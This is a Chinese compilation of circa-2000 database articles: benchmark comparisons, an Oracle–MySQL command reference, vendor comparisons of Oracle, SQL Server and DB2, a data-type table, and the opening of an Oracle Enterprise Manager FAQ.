有一些表项是匿名的 MySQL 用户寄给我们的，所以不能保证这些测试数据完全准确，我们建议你在自己感兴趣的数据库上 运行这个测试程序。如果你愿意和我们共享你的测试结果，你可以将‘output’目录下的文件用 ftp 上传到‘www.tcx.se/pub/mysql/incoming’下，这样我们就可以在将来的测试结果中发布这些测试数据。

以下的图表是所有参测数据库在 crash-me 中的比较

crash-me 中提供的所有参评数据库的比较

以下的图表是 Linux 平台上的 PostgreSQL 和 MySQL 的对比

PostgreSQL 和 MySQL 的对比数据表

同 MySQL 的相对比较 ， 绝对比较

以下图表是 win98 平台上 Access 2000 和 MySQL 的对比

Access 2000 和 MySQL 的对比数据表

同 MySQL 的相对比较 ， 绝对比较

以下是 Linux 平台上 AdaBas 和 MySQL 的对比

AdaBas 和 MySQL 的对比数据表

同 MySQL 的相对比较 ， 绝对比较

以下是 NT 4.0 平台上 DB2， Informix， MS-SQL， MySQL， Solid 和 Sybase 的对比表

NT 4.0 平台上的 DB2， Informix， MS-SQL， MySQL， Solid 和 Sybase 的对比数据表

同 MySQL 的相对比较 ， 绝对比较

以下是 Linux 平台上 Empress，PostgreSQL，MySQL 和 MySQL 的对比表

NT 4.0 平台上的 Empress， PostgreSQL， MySQL 和 SolidSybase 的对比数据表

同 MySQL 的相对比较 ， 绝对比较

以下是 Linux 平台上 MySQL、PostgreSQL 和 Solid 的对比表

Linux 平台上 MySQL、 PostgreSQL 和 Solid 的对比数据表

同 MySQL 的相对比较 ， 绝对比较

以下图表是 NT 平台上 MySQL 和 Oracle 8.0.3 的对比

注意，这个测试中 Oracle 是通过 ODBC 访问的！许多用户使用 Oracle 自己的 API 来获得更快的速度！

MySQL 和 Oracle 7.0 的对比数据表

同 MySQL 的相对比较 ， 绝对比较

以下图表是 mSQL 和 MySQL 的对比，因 mSQL 的局限，限制在很少的比较内容范围内

mSQL 和 MySQL 的对比数据表

同 MySQL 的相对比较 ， 绝对比较

以下的表显示了 MySQL 是如何在不同的平台上工作的

注意不同平台间 CPU 时钟速度和可用内存的差别

不同平台上的数字对比

同 MySQL 的相对比较 ， 绝对比较

附：

TCX的声明信息：

这些信息是由 TCX 提供的，所以用户可以得到不同数据库的真实情况（而不是销售商提供的信息）。希望以上的信息能够使你容易地找到具有你需要的功能而你有能够放心使用的这么一个数据库服务器。

我们会继续努力使 MySQL 测试帮助用户了解数据库在做不同的典型的工作时的运行速度。

TCX 也会继续开发 crash-me 展现数据库服务器的真正的缺陷和性能。

其他一些资源

在 www.linux.com 和 www.linuxcare.com 里面还有一些投票性质的比较，这些主要是用户的个人喜好和观点，没有明确的测试标准和手段，但是还是对大家有一定参考价值，我们在这里列出链接，请大家自己访问这些链接看看投票结果。

班门弄斧

从上面的这些评测我们可以看出这两种数据库的共同特点就是特点鲜明，各有重点与弱点，那么是否我们就可以得出孰优孰劣的结论而确定支持什么不支持什么呢？我们认为不是这样，因为两种数据库的开发都非常活跃，许多现在的缺点很快就可能得到弥补，比如：在 MySQL 的 TODO 列表里面，事务的支持很明显的放在了最重要的位置；而 PostgreSQL 的最新版本 7.0 的速度和稳定性都有极大的提高，而且在 7.1 中将对现有大对象接口进行大的增强；这些都说明，两者都在进步，都在不断地发展，真正做决定的还是作为应用开发人员的我们自己，通过合理的分析，扬长避短，正确地选用合适自己的数据库，最大限度的满足应用的需要。不要忘记，作为计算机从业人员的任务就是用我们的学时和经验为非专业人员提供服务。最后，我们将继续这份信息比较工作，不断更新我们的信息，希望能为大家提供更详细的材料。


Oracle技术网—Oracle 和 mysql 的一些简单命令对比参照

位置：首页→SQL技巧→

【点击：】 阿木伯 著
Oracle 和 mysql 的一些简单命令对比参照

Oracle | mysql
对比版本 | Personal Oracle7 Release 7.3.4.0.0 | mysql 3.22.34-shareware-debug
启动画面
（点击放大）
默认安装目录 | C:\ORAWIN95 | C:\MYSQL
各种实用程序所在目录 | C:\ORAWIN95\BIN | C:\MYSQL\BIN
控制台工具 SVRMGR.EXE
SVRMGR23.EXE 		mysqladmin.exe
数据库启动程序 | 0start73.exe screen | mysqld-shareware.exe
关闭数据库命令 | ostop73.exe | mysqladmin.exe -u root shutdown
客户程序 | SQL*Plus | mysql
启动命令 | c:\orawin95\bin\sqlplus.exe | c:\mysql\bin\mysql.exe
带用户启动方式
（直接连库方式） 		c:\orawin95\bin\sqlplus.exe system/manager@TNS c:\mysql\bin\mysql.exe test
c:\mysql\bin\mysql.exe -u root test
安装后系统默认用户（库） sys
system
scott 		mysql
test
显示所有用户（库） SQL >select * from all_users; C:\mysql\bin>mysqlshow
C:\mysql\bin>mysqlshow --status
mysql> show databases;
退出命令 SQL> exit
SQL> quit 		mysql> exit
mysql> quit
改变连接用户（库） | SQL> conn 用户名/密码@主机字符串 | mysql> use 库名
查询当前所有的表 SQL> select * from tab;
SQL> select * from cat; 		mysql> show tables;
c:\mysql\bin>mysqlshow 库名
显示当前连接用户（库） | SQL> show user | mysql> connect
查看帮助 | SQL> ? | mysql> help
显示表结构 SQL> desc 表名
SQL> describe 表名 		mysql> desc 表名;
mysql> describe 表名;
mysql> show columns from 表名;
c:\mysql\bin>mysqlshow 库名 表名
日期函数 SQL> select sysdate from dual; mysql> select now();
mysql> select sysdate();
mysql> select curdate();
mysql> select current_date;
mysql> select curtime();
mysql> select current_time;
日期格式化 SQL> select to_char(sysdate,'yyyy-mm-dd') from dual;
SQL> select to_char(sysdate,'hh24-mi-ss') from dual;
 mysql> select date_format(now(),'%Y-%m-%d');
mysql> select time_format(now(),'%H-%i-%S');
日期函数
（增加一个月） 		SQL> select to_char(add_months(to_date('20000101','yyyymmdd'),1),'yyyy-mm-dd') from dual;
结果：2000-02-01
SQL> select to_char(add_months(to_date('20000101','yyyymmdd'),5),'yyyy-mm-dd') from dual;
结果：2000-06-01
 mysql> select date_add('2000-01-01',interval 1 month);
结果：2000-02-01
mysql> select date_add('2000-01-01',interval 5 month);
结果：2000-06-01
别名 | SQL> select 1 a from dual; | mysql> select 1 as a;
字符串截取函数 SQL> select substr('abcdefg',1,5) from dual;
SQL> select substrb('abcdefg',1,5) from dual;
结果：abcde 		mysql> select substring('abcdefg',2,3);
结果：bcd
mysql> select mid('abcdefg',2,3);
结果：bcd
mysql> select substring('abcdefg',2);
结果：bcdefg
mysql> select substring('abcdefg' from 2);
结果：bcdefg
另有SUBSTRING_INDEX(str,delim,count)函数
返回从字符串str的第count个出现的分隔符delim之后的子串。
如果count是正数，返回最后的分隔符到左边(从左边数) 的所有字符。
如果count是负数，返回最后的分隔符到右边的所有字符(从右边数)。
执行外部脚本命令 SQL >@a.sql 1：mysql> source a.sql
2：c:\mysql\bin>mysql <a.sql
3：c:\mysql\bin>mysql 库名 <a.sql
导入、导出工具 exp.exe
exp73.exe
imp.exe
imp73.exe 		mysqldump.exe
mysqlimport.exe
改表名 | SQL> rename a to b; | mysql> alter table a rename b;
执行命令 ;<回车>
/
r
run 		;<回车>
go
ego
distinct用法 SQL> select distinct 列1 from 表1;
SQL> select distinct 列1,列2 from 表1; 		mysql> select distinct 列1 from 表1;
mysql> select distinct 列1,列2 from 表1;
注释 --
/*与*/ 		#
--
/*与*/
当作计算器 | SQL> select 1+1 from dual; | mysql> select 1+1;
限制返回记录条数 | SQL> select * from 表名 where rownum<5; | mysql> select * from 表名 limit 5;
新建用户（库） | SQL> create user 用户名 identified by 密码; | mysql> create database 库名;
删用户（库） | SQL> drop user 用户名; | mysql> drop database 库名;
外连接 | 使用(+) | 使用left join
查询索引 | SQL> select index_name,table_name from user_indexes; | mysql> show index from 表名 [FROM 库名];
通配符 “%” “%”和“_”
SQL语法 SELECT selection_list 选择哪些列
FROM table_list 从何处选择行
WHERE primary_constraint 行必须满足什么条件
GROUP BY grouping_columns 怎样对结果分组
HAVING secondary_constraint 行必须满足的第二条件
ORDER BY sorting_columns 怎样对结果排序
 SELECT selection_list 选择哪些列
FROM table_list 从何处选择行
WHERE primary_constraint 行必须满足什么条件
GROUP BY grouping_columns 怎样对结果分组
HAVING secondary_constraint 行必须满足的第二条件
ORDER BY sorting_columns 怎样对结果排序
LIMIT count 结果限定

转载请注明出处，谢谢


Oracle技术网—Oracle8i和Microsoft SQL Server7.0比较

Oracle8i和Microsoft SQL Server7.0比较

>> 体系结构

Microsoft按照客户/服务器体系结构的分布进行操作。这种方法产生不必要的代价和复杂性。在Internet中，Oracle已经发现了一个较好的答案。在Internet Computing的多层(multi-tiered)体系结构中，集中(centralization)可以简化应用的部署和维护，数据的管理和备份，并向客户提供了高级的性能、安全性与可靠性——结果使总的操作成本更低。Oracle具有使所有数据和文档存储在少数几个高性能数据库的能力，这种能力使客户可以集中管理他们所有的数据，并且信息管理和访问更加容易、可靠且价格更加便宜。

>> 开放(openness)

SQL Server只在Windows上运行，MicroSoft这种专有策略的目标是将客户锁定到Windows环境中，限制客户通过选择一个开放的基于标准的解决方案来获取革新和价格竞争带来的好处。此外，人们也都知道，Windows平台本身的可靠性、安全性和克伸缩性也是有限的。 Oracle能在所有主要的平台（其中包括Windows）上运行，并且完全支持所有的工业标准，所以，客户可以利用很多种第三方应用程序、工具、网关和管理实用程序。Oracle采用开放策略，它使得客户可以选择一种最适合他们特定需要的解决方案。利用Oracle8i,操作系统实质上将变得无关紧要。Oracle8i的Internet文件系统(iFS)是一种突破，这种突破性给所有数据类型提供了一种易于使用的数据管理接口，这样减少了客户对Windows之类的专用操作系统的依赖。

>> 可伸缩性

由于SQLServer7.0的并行实施和共存模型并不成熟，这使得人们更加关心该产品处理日益增多的用户数和数据卷(volumes)的能力。Oracle在下列两个方面提供了一个优越的可伸缩性：

  • 簇：Oracle并行服务器通过使一组节点共享同一簇中的工作负载来扩展Windows NT的能力，Oracle提供具有高可用性和高伸缩性的簇解决方案，而Microsoft只提供克服错误的簇。根据Gartner Group的一份报告（10/97），Microsoft在2001年以前将不会有一个可伸缩的簇解决方案。 Oracle自从1997年以来就已经有这种能力。
  • 伸缩到其他操作系统：因为Oracle是一个开放的解决方案，客户可以从他们的系统移到Unix或另一个操作系统，当Windows NT不能满足他们的需要。SQL Server与单个平台的结合意味着，当一个客户达到Windows NT的限制时，除了放弃他们的系统并移到一个新平台上的一个新数据库以外——一个最能节省时间和金钱的建议，他们再也没有其他选择。

>> 安全性

由于Internet的出现而带来的全球数据访问也同时增加了潜在的安全危险。对于数据库的安全要求决不会比以前更高，而SQL Server7.0还没有获得任何类型的安全证书。相比之下，Oracle是唯一获得最高认证级别的ISO标准认证的数据库。Oracle高级的安全特性考虑了强制实施的细小权限，先进的审查，增强的访问控制，安全的分布是处理与复制，以及使用附加的外部签发机制的能力。SQL Server7.0没有这些特性。利用Oracle产品，企业可以将真正集成的安全机制廉价地迁入到业务系统中。

>> 可扩展性

今天的Internet是一个令人激动的新世界，它具有鲜明的图像，实时的视频点播，高保真的语音和声音，以及诸如金融数据趋势和地理编码之类的复杂信息。通过集中管理文本、图像、音频、视频和地理信息，Oracle8i的interMedia使客户能够利用Web的多媒体特性。相比之下，Microsoft SQL Server 7.0对非传统的数据类型缺乏内置的支持。作为一种替代的策略，Microsoft提倡将非传统的数据存储到单独的服务器里的平面(flat)文件中，然后使用OLE-DB将它们链接在一起。使用这种策略，集成在Web中发现的各种数据类型，将会产生复杂的、不安全的、维护量大的数据包(mess),这种数据包缺乏事物的完整性。

>> 性能

低性能可能是很致命的(fatal),因为雇员的生产能力被阻碍，客户由于过多的等待时间而丢失。根据事物处理委员会(TPC)审查的标准与结果，Oracle提供了比SQL Server7.0更高级的性能。到1998年11月为止，Oracle一直是Windows NT中TPC-D和TPC-C标准的世界记录保持者。实际上，Oracle的NT TPC-C结果几乎比Microsoft的快两倍。Microsoft 从来没有宣布一个TPC-D结果，这就意味着尽管SQL Server7.0中有假定的环境，但它仍然不适合于数据仓库应用。Oracle也保持了SAP,Baan和Peoplesoft标准的世界记录。通过一贯地演示正式标准与实际情况之间的性能关系，Oracle已被证明，它可以处理最紧迫的数据仓库和OLTP应用的工作负载要求。

>> 操作简单

使数据库易于安装、使用和管理——组合在一起称为“操作简单“——是一个减少成本的关键因素。尽管Microsoft产品具有易于使用的美誉，但SQL Server7.0缺乏数据库管理的特性，而这种特性是复杂的数据库系统所必须的。例如，对于SQL Server6.5和SQL Server7.0,Microsoft需要使用单独的管理工具。 为了易于安装，Oracle使用了一个基于Java的实用程序，该实用程序提供了安装和运行一个预调整和预配置的Oracle8i数据库所需要的一切内容。“操作简单“的最重要部分是易管理性，Oracle Enterprise Manager（企业管理器）提供一个集成的管理控制台来集中管理多个服务器。客户也可以单独购买所有三个或其中任何一个可选的管理包，这些管理包提供了高级的功能来调整和诊断数据库，管理数据库环境的复杂变化。

>> 革新

PC Week已经说过，“SQL Server7.0并没有向客户提供其竞争对手尚未提供的任何新东西。”根据Information Week(9/14/98),“即使在经济的市场中：Windows NT环境，SQL Server7仍然不是OLTP数据库竞争者的对手。”在SQL Server7.0中，许多关键任务数据库应用所必需的功能（高可用性/可伸缩性、安全、性能等）仍然没有。Microsoft现在正在努力地追赶Oracle又一个技术领先的传统，新发布的Oracle8i也不例外。通过诸如iFS、数据库Java、WebDB、interMedia和WebToGo之类的革新，Oracle带头使各个公司获得Internet计算的好处。特别在Windows NT中，由于Oracle是第一个发布NT数据库簇解决方案的厂商，第一次支持超过大内存(VLM),第一次将高可用性和可伸缩性带到安装有Oacle并行服务器的NT中，所以Oracle在扩展NT能力方面已经成为一个明确的领导者。

>> 技术风险

SQL Server7.0是一个完全重写的产品版本。该产品经历了联系的延迟，并且具有非常长的beta测试周期，这通常代表开发问题。一份Gartner报告(8/98)说，“引擎的重新设计时非常深的...我们建议在1999年中期以前，不要将该产品部署在规模比较大的产品应用中。”正如一份Giga报告（3/98）所说的那样，“SQL Server仍有许多需要证明。可伸缩性、可靠性、多用户的性能、簇的开发、对象特性的支持等都有问题。”一个特别危险的因素是重新加在数据库问题。由于基本的数据结构发生变化，Microsoft将要求所有SQL Server6.0和6.5站点必须先卸载然后重新加载数据，这个过程需要好几天的时间。Microsoft已经承认6.5和7.0之间存在后向兼容问题。利用SQL Server7.0,许多以前存在的基本的6.5代码将必须重写，以便利用象行级锁定和分布联合之类的新特性。公司在使它们的生产率和信息冒风险时必须非常谨慎。 利用Oracle没有任何风险。Oracle8已经发布一年多了，并被部署在成百上千个用户站点上。在500家财团公司中，将近90%的公司使用Oracle产品和服务器。如此广泛的支持是人们对Oracle信任的结果，这种信任来自于Oracle是一个安全和合理的选择。客户将询问自己，在已经有可靠的、先进的Oracle8数据库时，为什们还要冒险使用新的未被证明的SQL Server7.0呢。

>> 厂商风险

Microsoft的核心能力是在桌面和操作系统软件的开发，该公司在企业级数据管理没有什么经验。从技术和业务来看，Microsoft只在最近才进入数据管理领域，到目前为止还没有获得信任。 Microsoft的成功是由于依靠客户软件的连续废弃与升级，以及硬件和操作系统尽可能的传播。在企业范围内若要获得成功，则要求高效利用已有的数据资源，并合并服务器资源。在另一个方面，Oracle已有二十多年的向客户解决方案的经验。一个公司的数据是它们最有价值的资产，Microsoft不能指望涌进这个市场，然后一夜之间获得信任。Oracle已经花费了几年的艰苦努力才赢得其客户群的信任以及它目前享受到的荣誉。每天成千上万的客户在Oracle上运行它们的业务所获得的成功就是Oracle技术和业务模型完美的有利证明。

总结

SQL Server7.0已比原来的计划几乎万两年发行。在这段时间内，有关哪个厂商具有Windows NT上最好的数据库解决方案的战斗已经打响，并最终由Oracle获胜。自从1996年以来，Oracle一直是Windows NT上的市场领导者。在过去的四年里，Oracle已在NT上享有令人震惊的2000%的收入增长。在这期间，Microsoft的收入占NT市场的份额实际上已经减少了27.8%。Oracle的伙伴的巨大成功补充了Oracle的客户的成功。一份最近的ARM研究(1998)表明，在1997年的EPT市场中，数据库营业收入的52%进入Oracle,相比之下，Microsoft SQL Server只占5%。事实上，在ASP的3200个NT安装中，70%是在Oracle上。只有20%是在SQL Server上。 随着它们最新的数据库升级，Microsoft达到了Oracle在十年前通过Oracle6达到的水平。SQL Server7.0仍然比Oracle8i落后几年，并且在可伸缩性、体系结构、功能、安全性、扩展性等方面存在严重问题，这将阻碍它在关键任务应用中的使用。客户对选择SQL Server7.0将持严重的保留态度，特别是在Oraclr8i这样高可靠和先进的产品已经存在的时候。

返 回


Oracle技术网—比较SQL Server与Oracle、DB2

比较SQL Server与Oracle、DB2

出处：不祥
关键词：Sql Server, Oracle, 其他

1．选择一个好的数据库是非常重要的。

2．如何选择一个好的数据库

开放性:
SQL Server
只能在windows 上运行，没有丝毫的开放性，操作系统的系统的稳定对数据库是十分重要的。Windows9X系列产品是偏重于桌面应用，NT server只适合中小型企业。而且windows平台的可靠性，安全性和伸缩性是非常有限的。它不象unix那样久经考验，尤其是在处理大数据量的关键业务时.

Oracle
能在所有主流平台上运行（包括 windows）。完全支持所有的工业标准。采用完全开放策略。可以使客户选择最适合的解决方案。对开发商全力支持。

DB2
能在所有主流平台上运行（包括windows）。最适于海量数据。DB2在企业级的应用最为广泛,在全球的500家最大的企业中,几乎85%以上用DB2数据库服务器,而国内到97年约占5%.

可伸缩性,并行性
SQL server
DB2
并行实施和共存模型并不成熟。很难处理日益增多的用户数和数据卷。伸缩性有限。

Oracle
平行服务器通过使一组结点共享同一簇中的工作来扩展windownt的能力,提供高可用性和高伸缩性的簇的解决方案。
如果windowsNT不能满足需要, 用户可以把数据库移到UNIX中。

DB2
DB2具有很好的并行性。DB2把数据库管理扩充到了并行的、多节点的环境.
数据库分区是数据库的一部分，包含自己的数据、索引、配置文件、和事务日
志。数据库分区有时被称为节点或数据库节点

安全性
SQL server
没有获得任何安全证书。

Oracle Server
获得最高认证级别的ISO标准认证。

DB2
获得最高认证级别的ISO标准认证。

性能
SQL Server
多用户时性能不佳

Oracle
性能最高， 保持windowsNT下的TPC-D和TPC-C的世界记录。

DB2
适用于数据仓库和在线事物处理性能较高。

客户端支持及应用模式
SQL Server
C/S结构，只支持windows客户，可以用ADO,DAO,OLEDB,ODBC连接.

Oracle
多层次网络计算，支持多种工业标准，可以用ODBC,JDBC,OCI等网络客户连接

DB2
跨平台，多层结构，支持ODBC,JDBC等客户

操作简便
SQL Server
操作简单,但只有图形界面.

Oracle
较复杂, 同时提供GUI和命令行，在windowsNT和unix下操作相同

DB2
操作简单,同时提供GUI和命令行，在windowsNT和unix下操作相同

使用风险
SQL server
完全重写的代码，经历了长期的测试，不断延迟，许多功能需要时间来证明。并不十分兼容早期产品。使用需要冒一定风险。

Oracle
长时间的开发经验，完全向下兼容。得到广泛的应用。完全没有风险。

DB2
在巨型企业得到广泛的应用，向下兼容性好。风险小。


Oracle技术网—各种数据类型的比较

各种数据库数据类型的比较

ANSI | DB2 | Oracle | SQL Server | SyBase | Informix | MySQL
BYTE
 |  |  |  |  | BYTE |
NUMBER Datatype
 |  |  | bit |  |  |
 |  | NUMBER |  |  |  |
 |  | NUMBER(n) |  |  |  |
INTEGER,INT, SMALLINT |  |  | Int, smallint, tinyint |  | INTEGER,INT |
 |  |  |  |  | SERIAL |
NUMERIC(p,s), DECIMAL(p,s), DEC(p,s) | DECIMAL(p,s) | NUMBER(p,s) | Decimal, numeric |  | DECIMAL,DEC, NUMERIC(p,s) |
 |  |  | money, smallmoney |  | MONEY(p,s) |
FLOAT(p) | FLOAT(p) | FLOAT(p) | float |  | FLOAT(p) |
REAL |  | FLOAT(63) | real |  | REAL, SMALLFLOAT |
DOUBLE PRECISION |  | FLOAT(126) |  |  | DOUBLE PRECISION |
Character Datatypes
CHARACTER (n) CHAR (n) | CHARACTER (n) | CHAR(n) | Char(n) |  | CHAR(n),CHARACTER(N) |
CHARACTER VARYING(n), CHAR VARYING(n) | VARCHAR(n) | VARCHAR2(n), VARCHAR(n) | Varchar(n) |  | CHARACTER VARYING(n) |
 |  | NCHAR(n) NVARCHAR2(n) | nchar(n), nvarchar(n) |  | NCHAR(n), NVARCHAR(m,r), VARCHAR(m,r) |
 |  | CLOB,NCLOB | text |  |  |
 |  | BLOB | Image, binary, varbinary |  |  |
 | LONG VARCHAR | LONG |  |  |  |
DATE Datatype
DATE | DATE | DATE |  |  | DATE |
 |  |  | Datetime, smalldatetime |  | DATETIME |
 |  |  |  |  | INTERVAL |
LOB Datatypes
 |  | BLOB |  |  | TEXT |
 |  | CLOB,NCLOB |  |  |  |
 |  | BFILE |  |  |  |
 |  | RAW,LONG RAW |  |  |  |
 |  | ROWID,ROWIDs |  |  |  |
 |  | MLSLABEL |  |  |  |


Oracle技术网—戏说SQL—几种SQL 服务器的比较

戏说SQL—几种SQL 服务器的比较

摘自：SQL技术网站

几种SQL 服务器的比较

几个比喻：
MS SQL ： 秀才---把别人写的书看懂成为自己的东东，衣饰一般都比较考究，但是只懂一国语言，而且喜欢贬低别人。

SYBASE ： 农夫---干活不要命，大有拼命三郎的气势，但是感觉总是差点文化涵养。养鱼，养猪都可以但是却望了打打广告。

ORACLE： 将军---有大家风范，对秀才和农夫的争论不屑一顾。凡是有了战役舍我其谁。但是别望了还有的士兵也想当将军的。

Informix: 宰相---管你谁对谁错，反正我就是只顾一个皇帝UNIX，我的地位别人休想轻易替代。

MySQL: 韦小宝---我就是要在你们中间捣蛋，虽然年纪小，但是发育也很完善。大家都喜欢。

技术人员：皇帝---秀才也好，农夫也好，管他是谁，皇帝的命令就要执行

对于SQL server 的组织体系的介绍
sql server是公司，database 是办公地点！login ID 是部门，user是各部门的职员,login是钥匙。


关键任务 在Internet上运作公司是一项艰苦的任务

关键任务

在Internet上运作公司是一项艰苦的任务。而一流的数据库可以给你无限的能力控制至关紧要的商业数据。我们测试了来自IBM，Informix，Microsoft，Oracle和Sysbase的最新也是最棒的数据库系统。

对于商业应用来说，那些技术是最重要的呢？电话和网络路由显然是商业系统的关键部分，它们将重要的信息从存储的地方传送到需要的地方。数据库则是商业运作的大脑。它可能储存了所有的关键商业客户的信息，以及相关的商业处理过程，而这些可能是你生存的必须。

如果数据库不能正常的运行或者很慢，那么你的雇员不能得到订单，不能查询价格，或者不能跟踪库存。他们可能不知道去年客户电话定购是一百万还是十块钱，也可能查不到技术支持电话，因为在线电话目录陈旧而未能更新。没有数据，你的业务只有一条路-准备关门吧。

选择合适的数据库
选择一个合适的数据库系统对你来说太重要了，关键的因素是要考虑到你预计会有多少人同时访问数据库；正常工作时间的级别；用来访问数据库的应用程序的类型；运行数据库的服务器的硬件和操作系统类型；以及内部员工的专业技术水平。

另一种可能是对你的数据库进行资源外包。如果您的公司没有内部专业技术人员，而且数据库负荷较少。资源外包服务商的知识和资源会起到帮助。

本文针对中小型企业，意味着企业拥有20至300名员工访问数据库。企业拥有中型内部服务器运行数据库系统（详细信息，参看"如何测试"）。我们还要求有一名IT人员管理数据库，当然他还可以负责其他的工作。我们设想的公司拥有几间分部，通过广域网连接到总部，并且需要访问数据库。

数据库服务器应当可以担任不同的任务，举例说，处理业务员或者用户通过在线商店直接下的订单，月报表，处理销售分析查询。我们希望数据库应该是"一专多能"的，能够恰当的处理好上述任务。详细的说，我们看重数据库管理的复杂程度和代价，是否能简单的进行WEB联接，是否拥有快速的引擎，是否能够支持远程既移动访问，以及是否有能力进行有效的存储和分析海量的历史数据。

竞赛的主角
为了帮助您的选择，我们选择了世界顶极的数据库系统他们是

IBM DB2
Microsoft SQL Server
Oracle8I
Sybase Adaptive Server Enterprise
我们运行日常工作中所遇到的所有任务，配置，监视，调整，查询，编程，和分析。

我们主要关注已经发售的产品：Microsoft SQL Server，Oracle 8i 8.1.5。对于即将发售的IBM DB2和Sybase ASE，我们同样进行了与Microsoft和Oracle同样严格的测试。同时我们对期待已久Informaix的产品做了一个展望，该产品代号"半人马"（Centaur）。

所有的这些产品都基于SQL语言（结构化查询语言）。它们设计的起点是支持成百上千的用户在不同地区同时登录，并且保证他们不会"踩到彼此的脚趾"。它们可以轻易的支持上百万的纪录，这些纪录可能存储在上千个分离的表中。同时，它们还拥有精密复杂的安全控制可以适应不同的商业需要。通常这类产品所能支持的用户和复杂的功能是那些桌面数据库象FileMaker Pro或者Microsoft Access不能胜任的。

本文中我们没有刊登出性能测试结果，是因为如果能够给与适当的硬件环境，所有我们测试的数据库应付目前的商业应用都足够快。但是如果你的应用需要应付数以百计的同时访问，或者你拥有一个5GB的数据库，那么你需要好好考虑一下，你选择的产品是否经得起如此考验。

我们生成了一系列的基于工业标准AS3AP的基准测试，用来帮助你选择哪一种数据库能最好的承担关键任务。注意：每一种产品的许可协议都禁止出版未经厂商许可的测试标准。

如果性能是您最关注的，我们强烈建议您针对您的需要进行测试，确保可以胜任您的任务需求。

市场的巨大变化
当主要的数据库厂商发布了最新的版本或者正准备这样做，我们的测试显示了几个主要的趋势。首先，服务器硬件价格更便宜，速度更快。这使得那些中小型公司有能力在价值15000美元的服务器上运行企业的数据库。我们的测试中，300个并发客户联接在一台带有521MB的双Pentium III服务器上，我们测试了数以千计的简单事务处理或者是数以百计的复杂事务。也许您想购买多一台服务器用于冗余，但你不必为性能而购买额外的服务器。

第二，Internet影响着数据库市场。厂商们倾注资金在他们的产品中加入对Java的支持和与WEB的无缝拼合。除了Microsoft本文中的其他厂商都或多或少的提供Java支持，使他们的产品更容易的兼容基于WEB应用。

第三，数据仓库，曾经是昂贵的高深的只有超级公司能够承担使用的，如今已经成熟了。任何公司都可以有效的发掘数据监视商业运作。

所有这些趋势都说明数据库在企业越来越起到中心作用。无论你的商业需要什么，你都可以在这里找到一种产品可以帮助您的企业在下一世纪中运作的更好。

在中小企业市场，判定好坏的因素是易管理性，WEB联接，数据库引擎的特点和速度，远程和移动访问支持，数据仓库的能力。除了在WEB联接方面，SQL Server 7.0在其他方面都非常突出。它的管理工具包含许多向导以及拥有"自我调整"的设置，它是我们所见到的唯一的不需特别培训管理员的数据库系统。

对于公司的分支办公室这类远程访问的客户，SQL Server的"per-seat"许可方式允许以桌面版本运行，它包括极佳的"复制"功能允许你与主服务器进行同步，反之亦然。附带的OLAP服务器允许你存储分析你拥有的所有数据。这些仅仅是其特点的一小部分。

Oracle8i 也拥有一些非常棒的特点，如：多版本并行系统，而它的"Internet-centric"更是未来发展的趋势。但是，该数据库比其他数据库系统难于管理，并且价格较高（许多特性在标准版中不存在，需额外付费。）。Oracle8I实在很难被推荐，除非你的定制程序需要它的JAVA和多媒体特性。

尽管我们还没有见到最终版本的IBM DB2，但它还是给我们留下个深刻的印象，这归功于它第一流的引擎，多媒体支持，以及JAVA支持。所有这些都超过了SQL Server相同的地方。它比SQL Server贵，需要更多的照顾以及支持。但该数据库确实可以加入您的采购计划之中，作为考虑对象。


OEM常见问题及其解决办法

     Oracle Enterprise Manager (Oracle 企 业 管 理 器 , 简 称 OEM) 是 通 过 一 组 Oracle 程 序， 为 管 理 分 布 式 环 境 提 供 了 管 理 服 务。 OEM 包 括 了 一 组 DBA 工 具， 一 个 repository， 以 及 一 个 图 形 化 显 示 的 控 制 台。 OEM 控 制 台 与 每 一 个 服 务 器 上 的 智 能 化 代 理 (Intelligent Agent) 相 对 应。
     智 能 化 代 理 能 够 监 控 系 统 的 特 定 事 件 并 且 执 行 任 务（作 业） 就 象 你 在 系 统 本 地 一 样。 事 件 和 作 业 的 结 果 会 被 送 回 控 制 台， 这 样 可 以 在 一 个 地 方 管 理 所 有 的 系 统。

     OEM 与 Server Manager Motif 相 比， 有 以 下 优 点：
     1） 从 适 用 范 围 看， OEM 可 以 同 时 监 控 管 理 多 个 系 统 上 的 多 个 数 据 库， 因 而 特 别 适 合 分 布 式 环 境； 而 Server Manager 只 能 监 控 管 理 一 个 数 据 库。
     2） 从 管 理 对 象 看， OEM 可 以 监 控 管 理 节 点， 数 据 库 和 监 听 进 程（listener）， 而 Server Manager 只 能 监 控 数 据 库。
     3） 从 适 用 版 本 看， OEM 可 以 同 时 监 控 管 理 Oracle7.x 和 8.x， 而 从 8 版 开 始， Server Manager 已 不 存 在。

     本 文 主 要 介 绍 一 些 OEM 的 常 见 问 题 及 其 解 决 方 法。
     Q： OEM 数 据 库 工 具 组 的 功 能 是 什 麽？ ?
     A： OEM 数 据 库 工 具 组 是 一 组 使 DBA 能 够 通 过 GUI 界 面 管 理 Oracle 数 据 库 的 工 具。 包 括 以 下 工 具：
     Data Manager（数 据 管 理 器）： 这 工 具 使 你 能 够 象 加 载 数 据 一 样 执 行 数 据 的 export/import。
     Schema Manager： 这 工 具 使 你 能 够 在 数 据 库 中 管 理 对 象。 可 以 用 于 创 建， 修 改， 和 删 除 tables, indexes, views, snapshots, sequences 等 等。
     Security Manager（安 全 性 管 理 器）： 这 工 具 使 你 能 够 管 理 用 户 , 角 色 , 权 限 及 profiles。
     Storage Manager（存 储 管 理 器）： 这 工 具 允 许 你 创 建 和 修 改 表 空 间 , 数 据 文 件 和 回 滚 段 .
     Instance Manager（实 例 管 理 器）： 这 工 具 允 许 你 关 闭 , 启 动 实 例 并 且 存 储 和 管 理 数 据 库 参 数。
     SQL*Worksheet： 这 工 具 使 你 能 够 运 行 或 创 造 SQL 脚 本 并 且 存 储 在 硬 盘 上。 你 能 使 用 这 工 具 重 现 最 后 执 行 的 语 句； 同 时， 检 查 显 示 到 屏 幕 上 的 执 行 结 果。
     Backup Manager（备 份 管 理 器）： 这 工 具 允 许 你 管 理 备 份 和 恢 复 为 Oracle7 和 Oracle8 数 据 库。 在 Oracle7 此 工 具 支 持 Enterprise Backup Utility (EBU)， 在 Oracle8 此 工 具 支 持 恢 复 管 理 器 Recovery Manager。
     Software Manager（软 件 管 理 器）： 这 允 许 你 将 远 程 软 件 安 装 到 支 持 这 一 特 性 的 远 程 服 务 器。

     Q： 作 业 状 态 一 直 为 提 交， 未 变 为 预 定（scheduled）。
